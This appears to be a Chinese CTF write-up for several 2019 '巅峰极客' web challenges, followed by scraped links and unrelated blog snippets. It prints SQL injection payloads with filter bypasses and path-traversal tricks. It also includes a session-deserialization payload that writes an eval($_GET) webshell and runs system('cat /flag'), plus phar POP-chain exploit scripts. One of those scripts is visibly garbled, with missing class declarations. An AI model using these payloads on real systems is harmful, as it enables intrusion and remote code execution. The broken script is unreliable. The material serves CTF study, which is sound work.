@php反序列化漏洞https://www.freebuf.com/news/172507.html

@巅峰极客wp

https://www.anquanke.com/post/id/189142

@巅峰极客Web-aweb_1

登录注册,本质就是注入呗,or二次注入

法一:

功能只有三个,登录,注册,查看个人信息。

看了一下,估计就是注册、登录有注入点了。

fuzz了一下,发现在注册的时候,用户名加单引号,登陆后查看个人信息,会500报错。

那么注入点应该就在这里。fuzz了一下,过滤了一些关键词,空格也被过滤了,用 /**/可绕过,注释符用 --

成功注入,登录查看个人信息,就能看到flag1。

法二:

访问即提示只有admin才能看到flag,因此必须成为admin,看了一下cookie,不是flask的,应该不会是flask session伪造,这里直接登录注册,发现当注册的用户名存在敏感字符时会提示hacker

那么应该漏洞点在用户名处,并且有很大可能是注入,因此尝试闭合单引号

当注册wfz’/**/OR/**/’1时,这时候可以成功登陆,并且此时用户名为test,说明闭合了单引号,因此成功登录了test用户,此时需要我们要登录admin

尝试wfz’/**/OR/**/name=’admin即可拿到flag

@巅峰极客--lol

https://github.com/susers/Writeups/blob/some_files/2019/lol.tar.gz

对上传与下载做测试,使用名为upload的PHPSESSID上传文件后再将PHPSESSID更改为upload/../../,请求download/index.php可以下载到index.php的源码。同理可以下载到整个站点的源码。

在core/config.php中

  1. <?php
  2. $config=array(
  3. 'debug'=>'false',
  4. 'ini'=>array(
  5. 'session.name' => 'PHPSESSID',
  6. 'session.serialize_handler' => 'php'
  7. )
  8. );

可以看到这里更改了session.serialize_handler为php,猜测考察session反序列化。

联系app/model/Cache.class.php

  1. <?php
  2. class Cache{
  3. public $data;
  4. public $sj;
  5. public $path;
  6. public $html;
  7. function __construct($data){
  8. $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
  9. $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
  10. $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
  11. $this->path=Cache_DIR.DS.session_id().'.php';
  12. }
  13.  
  14. function __destruct(){
  15. $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
  16.  
  17. if(file_put_contents($this->path,$this->html)){
  18. include($this->path);
  19. }
  20. }
  21. }

此处存在反序列化漏洞可以使我们写入shell并包含。

  1. <form action="题目地址/index.php" method="POST" enctype="multipart/form-data">
  2. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  3. <input type="file" name="file" />
  4. <input type="submit" />
  5. </form>

随便上传一个文件,抓包并修改filename为

  1. file"; filename="§|O:5"Cache":4:{s:4:"data";a:3:{s:7:"message";s:24:"<?php eval($_GET[qq]);?>";s:4:"name";s:1:"t";s:5:"image";s:1:"t";}s:2:"sj";N;s:4:"path";s:23:"/var/www/html/write.php";s:4:"html";N;}"

用intruder无限循环请求,访问/index.php?qq=system(‘cat+/flag’);即可获取到flag。

 法二:

1. 题目的灵感是一次渗透测试中遇到的一个网站。本题存在任意文件下载,利用..\..\index.php绕过获取所有源码(由于题目是linux环境只需要..\..\index.php即可。如果是windows环境的话,需要..\..\\aa\..\core\config.php利用不存在的文件夹aa和\\双反斜杠绕过apache的解析。

2. 代码审计后,发现题目存在反序列化,且$this->data['image']可控,并且没有被转义。构造payload可任意写文件。

3. 利用ini_set和chdir绕过open_basedir()。写cc.php文件到网站根目录,访问cc.php,获取flag

4. 编写 exp.py, 运行即可获取flag。

@巅峰极客--upload

题目只有一个网页,一段代码

法一:

3个功能,查看文件:file.php,上传文件:upload_file.php,下载文件:download.php。下载文件那里给了源码,看了一下过滤挺多,有点难用。上传文件直接给了上传文件的路径,强制   .jpg结尾,不过能上传任意类型文件。

查看文件那里,fuzz了一下,可以直接读文件,过滤了一些关键词,不过这几个功能页面的源码都能读,要用绝对路径。

--------------------------------------------

一看这,就想起漏洞点 phar反序列化。

接下来就是构造利用链。

  1. <?php
  2. $phar = new Phar('test.phar');
  3. $phar->startBuffering();
  4. $phar->setStub('<script language="php"> HALT_COMPILER();</script>');
  5. public $source; public $str;
  6. public function construct()
  7. {
  8. $this->source = '/flag';
  9. }
  10. }
  11.  
  12. class S6ow
  13. {
  14. public $file; public $params; public $_show;
  15. public function construct()
  16. {
  17. $this->_show = 'file_get';
  18. $this->file = new Show();
  19. }
  20. }
  21.  
  22. class Sh0w
  23. {
  24. public $test; public $str;
  25. public function construct()

改名 1.jpg,然后上传。

访问/file.php?file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg,拿到flag。

 法二:

首先根据download.php可以看到此时可以传入name参数,并且此时我们传入的name将经过safe_replace()处理以后,然后进行文件下载,这里限制了文件名并且要求过滤了以后的文件名必须在白名单里面,因此这里要bypass一下safe_replace(),这里我尝试了<>,*,select,%,反引号,||,&字符都没成功,当尝试反斜杠时,发现可以成功读取文件,因此可以直接下载所有源码文件:

下载完源码以后就是代码审计,

根据这种自己写的几个php文件,第一个反应就是找存不存在反序列化的点

这里明显存在phar反序列化,都考烂了,并且有上传文件的功能,路径也已知,并且这里并没有过滤phar,可以直接phar反序列化,那么确定了漏洞点,接下来就是找pop链

class.php中Sh0w类存在destruct,Show类中存在wakeup函数,但是没法利用,因此选择Sh0w类的destruct来进行构造pop

虽然这里调用了_show()方法,但是此时Show的_show函数过滤了过滤了flag,感觉没法利用

但是它还有个tostring()魔术方法,没有过滤,可以直接任意文件读取,当对象被当做字符串输出的时候,就能够触发该对象的toString()方法

刚好S6ow存在file_get函数存在echo

因此只要调用它,并令file为Show类的对象即可调用toString,那么此时我们只需要让Sh0w的str为S6ow类的对象,即可触发器call方法,这里

我们只需要让this->{name}为file_get即可,结合

get方法,当访问不存在的属性将访问其返回$this->params[$key],因此这里我们就能够使用params[‘_show’]=“file_get”即可,要读取的flag位于/flag下,因此可以结合phar构造通用脚本构造exp如下:

  1. <?php
  2. $phar = new Phar('test.phar');
  3. $phar->startBuffering();
  4. $phar->addFromString('test.txt','text');
  5. $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
  6. class Show
  7. {
  8. public $source;
  9. public function __construct(){
  10. $this->source="/flag";
  11. }
  12. }
  13.  
  14. class S6ow
  15. {
  16. public $file;
  17. public $params;
  18.  
  19. }
  20. class Sh0w
  21. {
  22. public $test;
  23. public $str;
  24. }
  25. $c=new Show();
  26. $b=new S6ow();
  27. $b->params['_show']="file_get";
  28. $b->file=$c;
  29. $object = new Sh0w();
  30. $object->str=$b;
  31. echo urlencode(serialize($object));
  32. $phar->setMetadata($object);
  33. $phar->stopBuffering();

然后将base64解码就是flag

web赛题的更多相关文章

  1. web赛题3

    2019--21省赛 wp:https://xz.aliyun.com/t/6458 2019-11-22蚂蚁金服(南邮)wp有了,微信 https://platform.d3ctf.io/#/ @d ...

  2. web赛题2

    @上海赛wp 微信 和 https://www.ctfwp.com/articals/2019unctf.html 后续公告https://unctf.buuoj.cn/notice.html 必看! ...

  3. 【天池大数据赛题解析】资金流入流出预测(附Top4答辩ppt)

    http://mp.weixin.qq.com/s?__biz=MzA3MDg0MjgxNQ==&mid=208451006&idx=1&sn=532e41cf020a0673 ...

  4. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  5. CSDN 轻松周赛赛题:能否被8整除

    轻松周赛赛题:能否被8整除 题目详情 给定一个非负整数,问能否重排它的全部数字,使得重排后的数能被8整除. 输入格式: 多组数据,每组数据是一个非负整数.非负整数的位数不超过10000位. 输出格式 ...

  6. O准备如何苟进复赛圈?华为软挑开挂指南(附赛题预测)

    事先声明,这不是华为软挑的软广,我也不是海军. 这篇文章纯粹是心血来潮,原因是去年上传到github的参赛代码,前几天又有两个人star和fork了. 记得star热潮还是去年4月复赛刚结束的那几天, ...

  7. kaggle赛题Digit Recognizer:利用TensorFlow搭建神经网络(附上K邻近算法模型预测)

    一.前言 kaggle上有传统的手写数字识别mnist的赛题,通过分类算法,将图片数据进行识别.mnist数据集里面,包含了42000张手写数字0到9的图片,每张图片为28*28=784的像素,所以整 ...

  8. 天池新闻推荐比赛1:赛题理解+baseline

    天池新闻推荐比赛1:赛题理解+baseline 一.比赛信息 比赛链接: ​ https://tianchi.aliyun.com/competition/entrance/531842/inform ...

  9. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

随机推荐

  1. 11 canvas 画布 - 基础

    一.概述 canvas它和其它的HTML5标签的使用基本一致,但是它相当于在浏览器中建立一个画布,可以再这个画布上画图.创建动画甚至是3D游戏.由于canvas要适配不同终端的分辨率,所以尽可能的在标 ...

  2. Codeforces Round #588 (Div. 2) C. Anadi and Domino(思维)

    链接: https://codeforces.com/contest/1230/problem/C 题意: Anadi has a set of dominoes. Every domino has ...

  3. Spring Boot 前期篇

    在学习springboot之前,学习一下Spring的java配置. 1. Spring的发展 1.1. Spring1.x 时代 在Spring1.x时代,都是通过xml文件配置bean,随着项目的 ...

  4. @Valid验证

    @Valid注解用于校验,所属包为:javax.validation.Valid. ① 首先需要在实体类的相应字段上添加用于充当校验条件的注解,如:@Min,如下代码(age属于User类中的属性): ...

  5. Codeforces Round #455 (Div. 2) 909E. Coprocessor

    题 OvO http://codeforces.com/contest/909/problem/E CF455 div2 E CF 909E 解 类似于拓扑排序地进行贪心, 对于 Ei=0 并且入度为 ...

  6. IDEA Java

    目录 1 配置 2 常用快捷键 3 安装插件 4 使用Maven创建web项目 5 使用Maven导入依赖 6 Maven创建项目后缺少文件夹 7 Tomcat LocalHost Log消失 8 E ...

  7. Codeforces Round #346 (Div. 2) E题 并查集找环

    E. New Reform Berland has n cities connected by m bidirectional roads. No road connects a city to it ...

  8. 小米oj 数组差(挺好的题)

     数组差 序号:#46难度:困难时间限制:1000ms内存限制:10M 描述 给定一个整数数组,找出两个不重叠的子数组A和B,使两个子数组元素和的差的绝对值 |SUM(A) - SUM(B)| 最大. ...

  9. 用Python爬虫爬取“女神吧”上的照片。

    爬取的网页链接为https://tieba.baidu.com/p/5177270774 是一个美女警花哦! 所用Python环境为:python 3.3.2   用到的库为:urllib.reque ...

  10. Codeforces 1111 E. Tree(虚树,DP)

    题意 有一棵树,q个询问,每次询问,指定一个点做树根,再给定k个点,要求把这些点分成不超过m组的方案数,分配的限制是任意两个有祖先关系的点不能分在同一组.题目还保证了所有的询问的k加起来不超过1e5. ...